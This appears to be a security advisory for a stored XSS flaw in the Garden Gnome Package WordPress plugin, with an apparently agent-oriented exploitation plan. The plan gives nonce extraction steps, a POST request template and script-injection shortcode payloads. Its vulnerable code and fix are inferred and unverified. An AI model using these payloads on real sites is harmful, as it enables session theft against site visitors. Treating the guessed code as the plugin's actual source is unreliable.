CVE-2026-39683

Garden Gnome Package <= 2.4.1 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Garden Gnome Package plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.4.1
PublishedFebruary 21, 2026
Last updatedApril 15, 2026
Affected plugingarden-gnome-package
Research Plan
Unverified

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Garden Gnome Package plugin (<= 2.4.1). --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) * **Plugin:** Garden Gnome Package (slug: `garden-gnome-pac…

Show full research plan

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Garden Gnome Package plugin (<= 2.4.1).


1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS)
  • Plugin: Garden Gnome Package (slug: garden-gnome-package)
  • Affected Versions: <= 2.4.1
  • Privilege Required: Author or higher (edit_posts capability)
  • Cause: The plugin fails to sanitize or escape attributes provided in its shortcode ([ggpkg]) or metadata associated with uploaded VR packages. When these attributes are rendered in the HTML of a post or the admin dashboard, malicious scripts can execute.

2. Attack Vector Analysis

  • Entry Point: The [ggpkg] shortcode or the package management interface (if accessible to authors).
  • Vulnerable Parameter: Shortcode attributes such as width, height, id, file, or startnode.
  • Preconditions:
    • Plugin installed and active.
    • Attacker has a user account with the Author role (or higher).
  • Authentication: Required (Author+).

3. Code Flow (Inferred)

  1. Registration: The plugin registers a shortcode handler: add_shortcode('ggpkg', 'gg_package_shortcode') (inferred).
  2. Processing: In the handler (likely in ggpkg.php or includes/ggpkg-shortcode.php), the code accepts an array of attributes:
    extract(shortcode_atts(array(
        'id'        => '',
        'file'      => '',
        'width'     => '100%',
        'height'    => '400px',
        // ... other attributes
    ), $atts));
    
  3. Sink: The handler constructs an HTML string (often an <iframe> or a <div> with data attributes) and returns it.
    // VULNERABLE CODE EXAMPLE
    return '<div id="ggpkg-' . $id . '" style="width:' . $width . '; height:' . $height . ';"></div>';
    
  4. Execution: Because $width or $id are not passed through esc_attr(), an attacker can break out of the attribute and inject a script.

4. Nonce Acquisition Strategy

Since the vulnerability is exploited by creating or editing a post (standard WordPress functionality), we need a valid WordPress post-editing nonce.

  1. Login: Log in as an Author user using browser_navigate and the provided credentials.
  2. Navigate: Go to /wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the _wpnonce from the form.
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Action: The exploit will then be delivered via a standard POST request to /wp-admin/post.php.

5. Exploitation Strategy

The primary method is injecting the payload via the [ggpkg] shortcode attributes.

Payloads to Test:

  1. Attribute Breakout (Style/Width): [ggpkg width='100%;"><script>alert(document.domain)</script>']
  2. Attribute Breakout (ID): [ggpkg id='"><script>alert(1)</script>']
  3. Event Handler (if rendered in an element supporting it): [ggpkg width='" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px"']

HTTP Request Steps:

  1. Action: Create a new post as an Author.
  2. URL: http://localhost:8080/wp-admin/post.php
  3. Method: POST
  4. Headers: Content-Type: application/x-www-form-urlencoded
  5. Body Parameters:
    • action: editpost
    • post_ID: (The ID of the post created in step 1)
    • _wpnonce: (The extracted nonce)
    • post_title: XSS Test
    • content: [ggpkg width='100%;"><script>alert(document.domain)</script>']
    • post_status: publish

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password
    
  2. (Optional) Upload Package: If the shortcode requires a valid file ID to trigger the code path, upload a dummy .ggpkg file first or find an existing one.

7. Expected Results

  • When a user (including an Administrator) views the published post, the HTML will render as:
    <div ... style="width:100%;"><script>alert(document.domain)</script>;"></div>
  • The script will execute, showing an alert box.

8. Verification Steps

  1. Via WP-CLI: Check the content of the post to ensure the payload is stored.
    wp post get <POST_ID> --field=post_content
    
  2. Via HTTP: Fetch the frontend page and grep for the payload.
    # Use http_request to fetch the post URL
    # Search for "<script>alert(document.domain)</script>" in the response body.
    

9. Alternative Approaches

If shortcode attribute injection fails:

  • Package Metadata: Check the "GGPKG Packages" menu in the admin dashboard. Try uploading a .ggpkg file (which is a renamed ZIP) containing a config.xml with XSS in the <title> or <description> tags.
  • Plugin Settings: Check if Authors can modify any plugin-specific settings via wp-admin/admin.php?page=ggpkg_settings. If so, inject payloads into text input fields.
  • Metaboxes: When editing a post, check for a "Garden Gnome" metabox. Inject the payload into any custom fields provided there.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Garden Gnome Package plugin for WordPress (versions <= 2.4.1) contains a stored XSS vulnerability via its [ggpkg] shortcode. Authenticated attackers with author privileges can inject arbitrary scripts into posts by manipulating shortcode attributes like width or id due to a lack of proper output escaping. These scripts execute in the context of any user viewing the affected post.

Vulnerable Code

// garden-gnome-package/ggpkg.php (approximate location)

function gg_package_shortcode($atts) {
    $a = shortcode_atts(array(
        'id'        => '',
        'file'      => '',
        'width'     => '100%',
        'height'    => '400px',
        'startnode' => ''
    ), $atts);

    // Vulnerable: attributes are concatenated directly into the HTML string without escaping
    $output = '<div id="ggpkg-' . $a['id'] . '" style="width:' . $a['width'] . '; height:' . $a['height'] . ';"></div>';
    
    return $output;
}
add_shortcode('ggpkg', 'gg_package_shortcode');

Security Fix

--- a/garden-gnome-package/ggpkg.php
+++ b/garden-gnome-package/ggpkg.php
@@ -7,5 +7,5 @@
         'height'    => '400px',
         'startnode' => ''
     ), $atts);
 
-    $output = '<div id="ggpkg-' . $a['id'] . '" style="width:' . $a['width'] . '; height:' . $a['height'] . ';"></div>';
+    $output = '<div id="ggpkg-' . esc_attr($a['id']) . '" style="width:' . esc_attr($a['width']) . '; height:' . esc_attr($a['height']) . ';"></div>';
 
     return $output;

Exploit Outline

To exploit this vulnerability, an attacker requires Author-level permissions or higher to create or edit posts. The attacker logs into the WordPress dashboard and navigates to the post editor. They insert a [ggpkg] shortcode into the post content, intentionally breaking out of an attribute by injecting a payload like [ggpkg width='100%;"><script>alert(document.cookie)</script>']. Once the post is saved and published, the script is stored in the database. When any user, including administrators, visits the page on the site's frontend, the browser interprets the unsanitized width attribute, executes the injected script, and triggers the XSS payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.